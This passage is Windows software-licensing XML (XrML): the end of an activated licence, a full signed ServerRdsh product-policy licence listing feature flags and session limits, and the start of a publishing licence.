xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>UIazdkOz8+fWKHoboOPpQ0DA/Q0=</DigestValue></Reference></SignedInfo><SignatureValue>rQ8w7fYTzPtnFBEF8MnXwJ4C0myBfRkEDrlFGj/TIayOszfwzk7SQNwuPWxP2vlAgotay0WvGpMi4RBIXKUMp7M5smp0xRd7r+bF83fi6z7oeh/djxTg8DcmH3BUuBpHXdlrYv4uSDxQn/AVTd3BguyUWvcyFpjs0nY+iCJyJMM57DmtMBmLfwmDlzSPRZ2Ipfc0W10GykWsoadpWIPHFkzNyyxKOou+BfNwj6ri6dVHQ0FYVb09q9HxYNfwC5Y9c+3TsIDgjNeq9lyyWlLNXQhPz+RkiSNNc/FLy0cVNPwyd5u3B4OMa296sqlVtGqWjTmMK+7Oc0Vg6gBEum3uig==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{a8c321a4-9351-46c4-aec4-53fd42584961}</tm:infoStr><tm:infoStr name="productSkuId">{0ad2ac98-7bb9-4201-8d92-312299201369}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7db3381a-b5d4-69e1-bf6e-0ff059134aa4}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) ServerRdsh Product PPD License</r:title><r:grant><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:possessProperty/><tm:application xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><editionId xmlns="http://www.microsoft.com/DRM/XrML2/TM/v2" value="ServerRdsh"></editionId></tm:application><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>200</sl:priority><sl:policyInt name="Kernel-MUI-Number-Allowed" attributes="reboot-required, override-only">1000</sl:policyInt><sl:policyInt name="Kernel-NativeVHDBoot" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="LSA-Policy-EnableTrustedDomains" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="LSA-Policy-EnableCredentialIsolation" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-AllowMultiMon" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Security-NGC-AllowRemoteNGC" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="RasBase-MaxConnections" attributes="reboot-required, override-only">3</sl:policyInt><sl:policyInt name="RasBase-DefaultConnections" attributes="reboot-required, override-only">2</sl:policyInt><sl:policyInt name="TabletPCInputPanel-EnableTIP" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-MultiTouchGestures" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-SFP" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="Taskbar-Pinning-Recommendations" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="volmgrx-SupportDynamic" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="volmgrx-SupportMirror" attributes="reboot-required, override-only">1</sl:policyInt><sl:policyInt name="volmgrx-SupportRaid5" attributes="reboot-required, override-only">0</sl:policyInt><sl:policyInt name="Security-SPP-Reserved-SkuPpdConsumed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-GenuineLocalStatus" attributes="override-only">1</sl:policyInt><sl:policyInt name="RasBase-EnableOnDemandDriverLoad" attributes="override-only">1</sl:policyInt><sl:policyInt name="deviceregistration-MaximumUsers" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-Reserved-AllowConsumeLegacyLicenses" attributes="override-only">1</sl:policyInt><sl:policyInt name="PEAuth-Available" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-WaasMedic-Enable-Remediations" attributes="override-only">1</sl:policyInt><sl:policyInt name="ServicingStack-License-ReservedStorageAllowed" attributes="override-only">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AutomatedAppServerInstallation" attributes="override-only">1</sl:policyInt><sl:policyInt name="dmenrollengine-MDMOnlyUX-Allowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="AAD-BlockAADWorkplaceJoin-Default" attributes="override-only">1</sl:policyInt><sl:policyInt name="Administrator-Protection-Elevation-ETW" attributes="override-only">1</sl:policyInt><sl:policyInt name="AppMan-AppV-Subscription-Active" attributes="override-only">1</sl:policyInt><sl:policyInt name="AppMan-UEV-Subscription-Active" attributes="override-only">1</sl:policyInt><sl:policyInt name="Search-ManageWebSearch-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="dmenrollengine-EnrollUnenrollUX-Allowed" attributes="override-only">0</sl:policyInt><sl:policyInt name="DNS-Client-license-DAPolicy" attributes="override-only">1</sl:policyInt><sl:policyInt name="DolbyDecMFT-DolbyDigitalDecoderV3InSKU" attributes="override-only">0</sl:policyInt><sl:policyInt name="ContentDeliveryManager-License-ContentDeliveryAllowed" attributes="override-only">0</sl:policyInt><sl:policyInt name="explorer-AeroAnimationAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="explorer-AeroShakeAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="feclient-EfsEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="feclient-EfsUserCacheLimit" attributes="override-only">5</sl:policyInt><sl:policyInt name="Feeds-AllowFeeds-Enabled" attributes="override-only">0</sl:policyInt><sl:policyInt name="GroupPolicy-License-DomainIncapableSystem" attributes="override-only">0</sl:policyInt><sl:policyInt name="GroupPolicy-License-NetworkWaitTimeoutInSeconds" attributes="override-only">30</sl:policyInt><sl:policyInt name="GroupPolicy-License-WaitForNetwork" attributes="override-only">0</sl:policyInt><sl:policyInt name="hevcdecoder-HEVCVideoDecoderV1InSKU" attributes="override-only">0</sl:policyInt><sl:policyInt name="IIS-W3SVC-MaxConcurrentRequests" attributes="override-only">10</sl:policyInt><sl:policyInt name="InstallAgent-AllowGPOForBlockingStore" attributes="override-only">1</sl:policyInt><sl:policyInt name="iuilp-SkipRequiredAppsCheck" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-DynamicPartitioningSupported" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-MemoryMirroringSupported" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-ProductType" attributes="override-only">3</sl:policyInt><sl:policyInt name="Kernel-RegisteredProcessors" attributes="override-only">64</sl:policyInt><sl:policyInt name="Kernel-VirtualDynamicPartitioningSupported" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedx64" attributes="override-only">50331648</sl:policyInt><sl:policyInt name="Kernel-WindowsMaxMemAllowedArm64" attributes="override-only">50331648</sl:policyInt><sl:policyInt name="LSA-Policy-EnableCredentialIsolationConfiguration" attributes="override-only">1</sl:policyInt><sl:policyInt name="MathRecognizerEventsLicensing-EnableMathRecognizer" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft.Windows.Smc-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-AnimatedTransitionsAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-Flip3dAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-LivePreviewAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-DesktopWindowManager-Core-TransparencyAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-HVSI-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-OfflineFiles-Core-BranchCachingEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-OfflineFiles-Core-FeatureEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-QWAVE-EnableAdaptiveFlow" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-QWAVE-Layer3Probing" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-Sandbox-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Microsoft-Windows-SensorsLicense-EnableCPL" attributes="override-only">1</sl:policyInt><sl:policyInt name="MobilePCMobilityCenter-EnableMobilityCenter" attributes="override-only">1</sl:policyInt><sl:policyInt name="MobilePCPresentationSettings-EnablePresentationSettings" attributes="override-only">1</sl:policyInt><sl:policyInt name="msac3enc-DolbyDigitalEncoderV3InSKU" attributes="override-only">1</sl:policyInt><sl:policyInt name="msmpeg2enc-MPEG2VideoEncoderV3InSKU" attributes="override-only">0</sl:policyInt><sl:policyInt name="msmpeg2vdec-MPEG2VideoDecoderV3InSKU" attributes="override-only">0</sl:policyInt><sl:policyInt name="msoobe-FirstLogonAnim-MayBeDisabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="NcaSvc-License-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="NetworkProfile-License-CostEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="nfs-admincmdtools-enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="nfs-clientcmdtools-enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="nfs-clientcore-enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-BSSIDRetrieval-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-LLDPDriver-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="NlaSvc-Licensing-LANIds-Service-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="parentalcontrols-EnableFeature" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerDist-Common-BITS-Client-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerDist-Common-Client-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerDist-Common-GeneralHTTP-Client-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerToPeerBase-Graphing-EnabledPolicy" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerToPeerBase-Grouping-EnabledPolicy" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerToPeerBase-IdManager-EnabledPolicy" attributes="override-only">1</sl:policyInt><sl:policyInt name="PeerToPeerBase-Pnrp-EnabledPolicy" attributes="override-only">1</sl:policyInt><sl:policyInt name="Personalization-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Printing-Spooler-Core-Localspl-Licensing-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Printing-Spooler-Core-Spoolss-Licensing-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Printing-Spooler-Pmc-Licensing-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="RetailDemo.License-RetailDemoAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Search-DynamicSearchBox-Enabled" attributes="override-only">0</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-DeviceEncryption" attributes="override-only">1</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-Driver" attributes="override-only">1</sl:policyInt><sl:policyInt name="SecureStartupFeature-Enabled-Premium" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-FlexibleClipEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Security-SPP-FlexibleClip-IndependentActivation" attributes="override-only">1</sl:policyInt><sl:policyInt name="Shell-WindowTabHost-Enabled" attributes="override-only">0</sl:policyInt><sl:policyInt name="shell32-license-GroupPolicy-TryHarderPinned" attributes="override-only">1</sl:policyInt><sl:policyInt name="shell-homegroup-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="SMBClient-RequireSigningByDefault" attributes="override-only">1</sl:policyInt><sl:policyInt name="SMBServer-AllowRemoteLegacyShadowCopyAccess" attributes="override-only">1</sl:policyInt><sl:policyInt name="SMBClient-AllowRdmaUsage" attributes="override-only">1</sl:policyInt><sl:policyInt name="SMBServer-RequireSigningByDefault" attributes="override-only">1</sl:policyInt><sl:policyInt name="SnippingToolLicensing-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="StickyNotesLicensing-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="Start-DeferAllAppsInitialization" attributes="override-only">1</sl:policyInt><sl:policyInt name="Store-PrivateStoreOnly-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPCAccessories-EnableJournal" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPCAccessories-EnableStickyNotes" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPCInputPanel-EnableTIPSynced" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPC-MathInputLicensing-EnableMathInput" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPCPlatformInput-core-EnableTouchUI" attributes="override-only">1</sl:policyInt><sl:policyInt name="TabletPC-tabbtn-EnableButtons" attributes="override-only">1</sl:policyInt><sl:policyInt name="Telnet-Client-EnableTelnetClient" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-CameraRedirectionAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-PnpRedirectionAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-TSAudioCaptureAllowed" attributes="override-only">2</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-TSMFPluginAllowed" attributes="override-only">2</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowAppServerMode" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-ADD-Licensing" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowD3DRemoting" attributes="override-only">2</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowMultipleSessions" attributes="override-only">1</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-WVD-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="TiffIFilterLicensing-EnableTiffIFilter" attributes="override-only">1</sl:policyInt><sl:policyInt name="UpdatePolicy-UpdateManagementGroup" attributes="override-only">2</sl:policyInt><sl:policyInt name="UserOOBE-Allowed-SignIn-Identity" attributes="override-only">5</sl:policyInt><sl:policyInt name="EmbeddedFeature-AssignedAccessCsp-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-EmbeddedLogon-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-KeyboardFilter-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-UnifiedWriteFilter-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-ShellLauncher-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="EmbeddedFeature-BootExp-Enabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="WMPPlayer-HMEAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="WMPPlayer-RMEAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="WorkstationService-DomainJoinEnabled" attributes="override-only">1</sl:policyInt><sl:policyInt name="WSLicensingService-AllowDisablingStoreApps" attributes="override-only">1</sl:policyInt><sl:policyInt name="BuildFlighting-ControlBuildFlighting" attributes="override-only">1</sl:policyInt><sl:policyInt name="TelemetryPermission-AllowDisable" attributes="override-only">1</sl:policyInt><sl:policyInt name="Telemetry-ProcessorModeAllowed" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyInt name="WindowsCopilot-Available" attributes="override-only">1</sl:policyInt><sl:policyInt name="WindowsCopilot-IsCommercial" attributes="override-only">1</sl:policyInt><sl:policyInt name="DeferWidgetsInitialization" attributes="override-only">1</sl:policyInt><sl:policySum name="TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions" attributes="reboot-required, override-only">2</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-AllowRemoteConnections" attributes="reboot-required, override-only">1</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-MaxUserSessions" attributes="reboot-required, override-only">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-AllowMultimon" attributes="override-only">1</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-b7857721-7a62-4a37-aff3-253fe2b8b0e8-MaxSessions" attributes="override-only">1</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions" attributes="override-only">1</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-d8d584dc-e21f-4bd4-b923-6fc03943d7de-MaxSessions" attributes="reboot-required, override-only">4096</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-cd051c59-3fe7-499c-9b66-02d99dbd8d3b-MaxSessions" attributes="reboot-required, override-only">4096</sl:policySum><sl:policyStr name="Kernel-MUI-Language-Allowed" attributes="reboot-required, override-only">EMPTY</sl:policyStr><sl:policyStr name="Kernel-MUI-Language-Disallowed" attributes="reboot-required, override-only">EMPTY</sl:policyStr><sl:policyStr name="Kernel-MUI-Language-SKU" attributes="reboot-required, override-only">en-US;en-AU;en-CA;en-GB;en-HK;en-IE;en-NZ;en-SG;ar-SA;pt-BR;zh-TW;zh-CN;zh-HK;zh-SG;cs-CZ;da-DK;el-GR;es-AR;es-CL;es-CO;es-ES;es-MX;es-US;fi-FI;fr-BE;fr-CA;fr-CH;fr-FR;de-AT;de-CH;de-DE;he-IL;hu-HU;it-IT;ja-JP;ko-KR;nl-BE;nl-NL;nb-NO;pl-PL;pt-PT;ru-RU;sv-SE;tr-TR;bg-BG;hr-HR;et-EE;lv-LV;lt-LT;ro-RO;sr-Latn-CS;sr-Latn-RS;sk-SK;sl-SI;th-TH;uk-UA;fy-NL;qps-ploc;qps-plocm;qps-Latn-x-sh</sl:policyStr><sl:policyStr name="Windows.Globalization.License-TextSuggestionApi-DgmlRootName" attributes="override-only">ComponentLayoutsDesktop</sl:policyStr><sl:policyStr name="configmanager2-License-BlockedProviderList" attributes="override-only">0$AccountManagement;0$CloudDesktop;0$WiFi;0$AADJ;0$Accounts;0$EnterpriseDataProtection;0$OptionalFeatures;0$RemoteFind;0$RemoteWipe;0$Reporting;0$UnifiedWriteFilter;0$PDE;0$Update;0$Win32CompatibilityAppraiser;0$WindowsLicensing;0$WiredNetwork</sl:policyStr><sl:policyStr name="enterprisemgmt_policymanager-License-MDMPolicyAllowList" attributes="override-only">Accounts|ActiveXControls|ADMXIngest|AppDeviceInventory|ApplicationDefaults|ApplicationManagement|AppRuntime|Audit|Authentication|BitLocker|BITS|Browser|ConfigureChatIcon|ControlPolicyConflict|CredentialsDelegation|HardenedUNCPaths|Cryptography|DataProtection|Defender|DeliveryOptimization|Desktop|DeviceGuard|AllowIdleReturnWithoutPassword|AllowScreenTimeoutWhileLockedUserConfig|AllowSimpleDevicePassword|AlphanumericDevicePasswordRequired|DevicePasswordEnabled|DevicePasswordExpiration|DevicePasswordHistory|EnforceLockScreenAndLogonImage|EnforceLockScreenProvider|MaxDevicePasswordFailedAttempts|MaxInactivityTimeDeviceLock|MaxInactivityTimeDeviceLockWithExternalDisplay|MinDevicePasswordComplexCharacters|MinDevicePasswordLength|PreventLockScreenSlideShow|PreventEnablingLockScreenCamera|MinimumPasswordAge|TurnOnGdiDPIScalingForApps|TurnOffGdiDPIScalingForApps|Eap|AllowCopyPaste|AllowCortana|AllowDeviceDiscovery|AllowManualMDMUnenrollment|AllowSaveAsOfOfficeFiles|AllowScreenCapture|AllowSharingOfOfficeFiles|AllowSyncMySettings|AllowTaskSwitcher|AllowVoiceRecording|AllowTailoredExperiencesWithDiagnosticData|AllowWindowsTips|DoNotShowFeedbackNotifications|AllowFindMyDevice|AllowClipboardHistory|DoNotSyncBrowserSettings|PreventUsersFromTurningOnBrowserSyncing|ShowLockOnUserTile|DisableCloudOptimizedContent|ExploitGuard|FederatedAuthentication|Feeds|FileExplorer|FileSystem|Games|Handwriting|Knobs|LanmanServer|LanmanWorkstation|LocalPoliciesSecurityOptions|LocalSecurityAuthority|LocalUsersAndApps|MemoryDump|MSSecurityGuide|MSSLegacy|Multitasking|NetworkIsolation|NetworkListManager|Notifications|OneDrive|Privacy|Search|AllowAddProvisioningPackage|AllowManualRootCertificateInstallation|AllowRemoveProvisioningPackage|RequireProvisioningPackageSignature|ConfigureWindowsPasswords|ServiceControlManager|RequireRetrieveHealthCertificateOnBoot|Settings|SettingsSync|SmartScreen|Speech|Start|System|SystemServices|TaskManager|TaskScheduler|TextInput|TimeLanguageSettings|ActiveHoursStart|ActiveHoursEnd|ActiveHoursMaxRange|ConfigureDeadlineForQualityUpdates|ConfigureDeadlineGracePeriod|DeferQualityUpdatesPeriodInDays|PauseQualityUpdatesStartTime|SetDisablePauseUXAccess|CredentialProviders|CredentialsUI|DeviceHealthMonitoring|ErrorReporting|EventLogService|InternetExplorer|Kerberos|Location|Printers|RemoteAssistance|RemoteDesktop|RemoteDesktopServices|RemoteManagement|RemoteProcedureCall|RemoteShell|RestrictedGroups|Storage|TenantRestrictions|Troubleshooting|UserRights|VirtualizationBasedTechnology|WebThreatDefense|WindowsAutopilot|WindowsConnectionManager|WindowsDefenderSecurityCenter|WindowsPowerShell|WindowsSandbox|ADMX_</sl:policyStr><sl:policyBin name="dmenrollengine-Allowed-Enrollments" attributes="override-only">//+///////8=</sl:policyBin><sl:policyInt name="Security-SPP-Reserved-EnableNotificationMode" attributes="override-only">1</sl:policyInt><sl:policyInt name="Kernel-ProductInfo" attributes="override-only">175</sl:policyInt><sl:policyInt name="Kernel-BrandingInfo">175</sl:policyInt><sl:policyStr name="Kernel-EditionName">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>RlTs7H5tzLWVRzG7L8kSsXod5EE=</DigestValue></Reference></SignedInfo><SignatureValue>MQZGdmggBvOoRjaeJa23rJ8VGnXl2m6WmpFDEJn3keueXw6s/PjrXaHN0oQLyeyuYBSgCNrgzaM10zoxEPlvzx//1lwdPBlqyFbvG45bLn/oRsjuneeejEUN2uzh8LutliYecX5g/s5DgNvY/1+/CNQY1MepsX4KDft+AVDF/q1+cvfkUjnMtC+g8VljYbrxrueYflK6vKMiouONoA7cf66605vt6Icy/w337Pc+m5SJjUw4l6moqCDnWpZow1vRmXiO8hJiU/0TlGP1KyGrfUAhVJLTK4/FvBm/MysuXsHFW2cqn/A8QExb5li47kEHEGM8Shjo+EKbbKAKVx1oqA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PPD</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PPD</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{061d7bf1-4904-491d-a960-371a314349d7}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue 